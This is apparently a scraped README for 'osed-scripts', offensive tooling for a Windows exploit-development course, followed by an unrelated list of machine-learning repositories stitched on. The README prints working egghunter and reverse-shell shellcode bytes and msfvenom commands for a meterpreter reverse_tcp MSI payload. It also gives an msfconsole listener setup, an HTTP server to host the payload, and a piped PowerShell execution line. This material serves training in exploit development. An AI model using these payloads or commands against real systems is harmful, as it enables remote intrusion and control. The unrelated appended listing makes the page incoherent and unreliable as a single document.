bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Overview

osed-scripts

bespoke tooling for offensive security's Windows Usermode Exploit Dev course (OSED)

Table of Contents

Standalone Scripts

egghunter.py

requires keystone-engine

usage: egghunter.py [-h] [-t TAG] [-b BAD_CHARS [BAD_CHARS ...]] [-s]

Creates an egghunter compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -t TAG, --tag TAG     tag for which the egghunter will search (default: c0d3)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -s, --seh             create an seh based egghunter instead of NtAccessCheckAndAuditAlarm

generate default egghunter

./egghunter.py 
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: c0d3c0d3
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x63\x30\x64\x33\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate egghunter with w00tw00t tag

./egghunter.py --tag w00t
[+] egghunter created!
[=]   len: 35 bytes
[=]   tag: w00tw00t
[=]   ver: NtAccessCheckAndAuditAlarm

egghunter = b"\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\x05\xc6\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"

generate SEH-based egghunter while checking for bad characters (does not alter the shellcode, that's to be done manually)

./egghunter.py -b 00 0a 25 26 3d --seh
[+] egghunter created!
[=]   len: 69 bytes
[=]   tag: c0d3c0d3
[=]   ver: SEH

egghunter = b"\xeb\x2a\x59\xb8\x63\x30\x64\x33\x51\x6a\xff\x31\xdb\x64\x89\x23\x83\xe9\x04\x83\xc3\x04\x64\x89\x0b\x6a\x02\x59\x89\xdf\xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb\xed\xe8\xd1\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1\xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x31\xc0\xc3"

find-gadgets.py

Finds and categorizes useful gadgets. Only prints to terminal the cleanest gadgets available (minimal amount of garbage between what's searched for and the final ret instruction). All gadgets are written to a text file for further searching.

requires rich and ropper

usage: find-gadgets.py [-h] -f FILES [FILES ...] [-b BAD_CHARS [BAD_CHARS ...]] [-o OUTPUT]

Searches for clean, categorized gadgets from a given list of files

optional arguments:
  -h, --help            show this help message and exit
  -f FILES [FILES ...], --files FILES [FILES ...]
                        space separated list of files from which to pull gadgets (optionally, add base address (libspp.dll:0x10000000))
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to omit from gadgets (default: 00)
  -o OUTPUT, --output OUTPUT
                        name of output file where all (uncategorized) gadgets are written (default: found-gadgets.txt)

find gadgets in multiple files (one is loaded at a different offset than what the dll prefers) and omit 0x00 and 0xde from all gadgets

gadgets

shellcoder.py

requires keystone-engine

Creates reverse shell with optional msi loader

usage: shellcode.py [-h] [-l LHOST] [-p LPORT] [-b BAD_CHARS [BAD_CHARS ...]] [-m] [-d] [-t] [-s]

Creates shellcodes compatible with the OSED lab VM

optional arguments:
  -h, --help            show this help message and exit
  -l LHOST, --lhost LHOST
                        listening attacker system (default: 127.0.0.1)
  -p LPORT, --lport LPORT
                        listening port of the attacker system (default: 4444)
  -b BAD_CHARS [BAD_CHARS ...], --bad-chars BAD_CHARS [BAD_CHARS ...]
                        space separated list of bad chars to check for in final egghunter (default: 00)
  -m, --msi             use an msf msi exploit stager (short)
  -d, --debug-break     add a software breakpoint as the first shellcode instruction
  -t, --test-shellcode  test the shellcode on the system
  -s, --store-shellcode
                        store the shellcode in binary format in the file shellcode.bin
❯ python3 shellcode.py --msi -l 192.168.49.88 -s
[+] shellcode created! 
[=]   len:   251 bytes                                                                                            
[=]   lhost: 192.168.49.88
[=]   lport: 4444                                                                                                                                                                                                                    
[=]   break: breakpoint disabled                                                                                                                                                                                                     
[=]   ver:   MSI stager
[=]   Shellcode stored in: shellcode.bin
[=]   help:
         Create msi payload:
                 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.49.88 LPORT=443 -f msi -o X
         Start http server (hosting the msi file):
                 sudo python -m SimpleHTTPServer 4444 
         Start the metasploit listener:
                 sudo msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.49.88; set LPORT 443; exploit"
         Remove bad chars with msfvenom (use --store-shellcode flag): 
                 cat shellcode.bin | msfvenom --platform windows -a x86 -e x86/shikata_ga_nai -b "\x00\x0a\x0d\x25\x26\x2b\x3d" -f python -v shellcode

shellcode = b"\x89\xe5\x81\xc4\xf0\xf9\xff\xff\x31\xc9\x64\x8b\x71\x30\x8b\x76\x0c\x8b\x76\x1c\x8b\x5e\x08\x8b\x7e\x20\x8b\x36\x66\x39\x4f\x18\x75\xf2\xeb\x06\x5e\x89\x75\x04\xeb\x54\xe8\xf5\xff\xff\xff\x60\x8b\x43\x3c\x8b\x7c\x03\x78\x01\xdf\x8b\x4f\x18\x8b\x47\x20\x01\xd8\x89\x45\xfc\xe3\x36\x49\x8b\x45\xfc\x8b\x34\x88\x01\xde\x31\xc0\x99\xfc\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x24\x75\xdf\x8b\x57\x24\x01\xda\x66\x8b\x0c\x4a\x8b\x57\x1c\x01\xda\x8b\x04\x8a\x01\xd8\x89\x44\x24\x1c\x61\xc3\x68\x83\xb9\xb5\x78\xff\x55\x04\x89\x45\x10\x68\x8e\x4e\x0e\xec\xff\x55\x04\x89\x45\x14\x31\xc0\x66\xb8\x6c\x6c\x50\x68\x72\x74\x2e\x64\x68\x6d\x73\x76\x63\x54\xff\x55\x14\x89\xc3\x68\xa7\xad\x2f\x69\xff\x55\x04\x89\x45\x18\x31\xc0\x66\xb8\x71\x6e\x50\x68\x2f\x58\x20\x2f\x68\x34\x34\x34\x34\x68\x2e\x36\x34\x3a\x68\x38\x2e\x34\x39\x68\x32\x2e\x31\x36\x68\x2f\x2f\x31\x39\x68\x74\x74\x70\x3a\x68\x2f\x69\x20\x68\x68\x78\x65\x63\x20\x68\x6d\x73\x69\x65\x54\xff\x55\x18\x31\xc9\x51\x6a\xff\xff\x55\x10"           
****

install-mona.sh

downloads all components necessary to install mona and prompts you to use an admin shell on the windows box to finish installation.

❯ ./install-mona.sh 192.168.XX.YY
[+] once the RDP window opens, execute the following command in an Administrator terminal:

powershell -c "cat \\tsclient\mona-share\install-mona.ps1 | powershell -"

[=] downloading https://github.com/corelan/windbglib/raw/master/pykd/pykd.zip
[=] downloading https://github.com/corelan/windbglib/raw/master/windbglib.py
[=] downloading https://github.com/corelan/mona/raw/master/mona.py
[=] downloading https://www.python.org/ftp/python/2.7.17/python-2.7.17.msi
[=] downloading https://download.microsoft.com/download/2/E/6/2E61CFA4-993B-4DD4-91DA-3737CD5CD6E3/vcredist_x86.exe
[=] downloading https://raw.githubusercontent.com/epi052/osed-scripts/main/install-mona.ps1
Autoselecting keyboard map 'en-us' from locale
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Failed to initialize NLA, do you have correct Kerberos TGT initialized ?
Core(warning): Certificate received from server is NOT trusted by this system, an exception has been added by the user to trust this specific certificate.
Connection established using SSL.
Protocol(warning): process_pdu_logon(), Unhandled login infotype 1
Clipboard(error): xclip_handle_SelectionNotify(), unable to find a textual target to satisfy RDP clipboard text request

WinDbg Scripts

all windbg scripts require pykd

run .load pykd then !py c:\path\to\this\repo\script.py

find-ppr.py

Search for pop r32; pop r32; ret instructions by module name

!py find-ppr.py libspp diskpls

[+] diskpls::0x004313ad: pop ecx; pop ecx; ret
[+] diskpls::0x004313e3: pop ecx; pop ecx; ret
[+] diskpls::0x00417af6: pop ebx; pop ecx; ret
...
[+] libspp::0x1008a538: pop ebx; pop ecx; ret
[+] libspp::0x1008ae39: pop ebx; pop ecx; ret
[+] libspp::0x1008aebf: pop ebx; pop ecx; ret
...
Implementation of "Unsupervised Domain Adaptive 3D Detection with Multi-Level Consistency"

Unsupervised Domain Adaptive 3D Detection with Multi-Level Consistency (ICCV2021) Paper Link: https://arxiv.org/abs/2107.11355 This implementation bui

32 Nov 17, 2022
Annealed Flow Transport Monte Carlo

Annealed Flow Transport Monte Carlo Open source implementation accompanying ICML 2021 paper by Michael Arbel*, Alexander G. D. G. Matthews* and Arnaud

DeepMind 30 Nov 21, 2022
This repository is to support contributions for tools for the Project CodeNet dataset hosted in DAX

The goal of Project CodeNet is to provide the AI-for-Code research community with a large scale, diverse, and high quality curated dataset to drive innovation in AI techniques.

International Business Machines 1.2k Jan 04, 2023
Implementation of ML models like Decision tree, Naive Bayes, Logistic Regression and many other

ML_Model_implementaion Implementation of ML models like Decision tree, Naive Bayes, Logistic Regression and many other dectree_model: Implementation o

Anshuman Dalai 3 Jan 24, 2022
code for our paper "Source Data-absent Unsupervised Domain Adaptation through Hypothesis Transfer and Labeling Transfer"

SHOT++ Code for our TPAMI submission "Source Data-absent Unsupervised Domain Adaptation through Hypothesis Transfer and Labeling Transfer" that is ext

75 Dec 16, 2022
(3DV 2021 Oral) Filtering by Cluster Consistency for Large-Scale Multi-Image Matching

Scalable Cluster-Consistency Statistics for Robust Multi-Object Matching (3DV 2021 Oral Presentation) Filtering by Cluster Consistency (FCC) is a very

Yunpeng Shi 11 Sep 28, 2022
Colour detection is necessary to recognize objects, it is also used as a tool in various image editing and drawing apps.

Colour Detection On Image Colour detection is the process of detecting the name of any color. Simple isn’t it? Well, for humans this is an extremely e

Astitva Veer Garg 1 Jan 13, 2022
Doing the asl sign language classification on static images using graph neural networks.

SignLangGNN When GNNs 💜 MediaPipe. This is a starter project where I tried to implement some traditional image classification problem i.e. the ASL si

10 Nov 09, 2022
Blender scripts for computing geodesic distance

GeoDoodle Geodesic distance computation for Blender meshes Table of Contents Overivew Usage Implementation Overview This addon provides an operator fo

20 Jun 08, 2022
Official PyTorch(Geometric) implementation of DPGNN(DPGCN) in "Distance-wise Prototypical Graph Neural Network for Node Imbalance Classification"

DPGNN This repository is an official PyTorch(Geometric) implementation of DPGNN(DPGCN) in "Distance-wise Prototypical Graph Neural Network for Node Im

Yu Wang (Jack) 18 Oct 12, 2022
SegNet-Basic with Keras

SegNet-Basic: What is Segnet? Deep Convolutional Encoder-Decoder Architecture for Semantic Pixel-wise Image Segmentation Segnet = (Encoder + Decoder)

Yad Konrad 81 Jun 30, 2022
Unified API to facilitate usage of pre-trained "perceptor" models, a la CLIP

mmc installation git clone https://github.com/dmarx/Multi-Modal-Comparators cd 'Multi-Modal-Comparators' pip install poetry poetry build pip install d

David Marx 37 Nov 25, 2022
Experiments and code to generate the GINC small-scale in-context learning dataset from "An Explanation for In-context Learning as Implicit Bayesian Inference"

GINC small-scale in-context learning dataset GINC (Generative In-Context learning Dataset) is a small-scale synthetic dataset for studying in-context

P-Lambda 29 Dec 19, 2022
Dataset Cartography: Mapping and Diagnosing Datasets with Training Dynamics

Dataset Cartography Code for the paper Dataset Cartography: Mapping and Diagnosing Datasets with Training Dynamics at EMNLP 2020. This repository cont

AI2 125 Dec 22, 2022
Model Zoo for MindSpore

Welcome to the Model Zoo for MindSpore In order to facilitate developers to enjoy the benefits of MindSpore framework, we will continue to add typical

MindSpore 226 Jan 07, 2023
Gesture recognition on Event Data

Event based Gesture Recognition Gesture recognition on Event Data usually involv

2 Feb 14, 2022
Laser device for neutralizing - mosquitoes, weeds and pests

Laser device for neutralizing - mosquitoes, weeds and pests (in progress) Here I will post information for creating a laser device. A warning!! How It

Ildaron 1k Jan 02, 2023
Code for ICLR 2021 Paper, "Anytime Sampling for Autoregressive Models via Ordered Autoencoding"

Anytime Autoregressive Model Anytime Sampling for Autoregressive Models via Ordered Autoencoding , ICLR 21 Yilun Xu, Yang Song, Sahaj Gara, Linyuan Go

Yilun Xu 22 Sep 08, 2022
FwordCTF 2021 Infrastructure and Source code of Web/Bash challenges

FwordCTF 2021 You can find here the source code of the challenges I wrote (Web and Bash) in FwordCTF 2021 and the source code of the platform with our

Kahla 5 Nov 25, 2022
Omnidirectional camera calibration in python

Omnidirectional Camera Calibration Key features pure python initial solution based on A Toolbox for Easily Calibrating Omnidirectional Cameras (Davide

Thomas Pönitz 12 Nov 22, 2022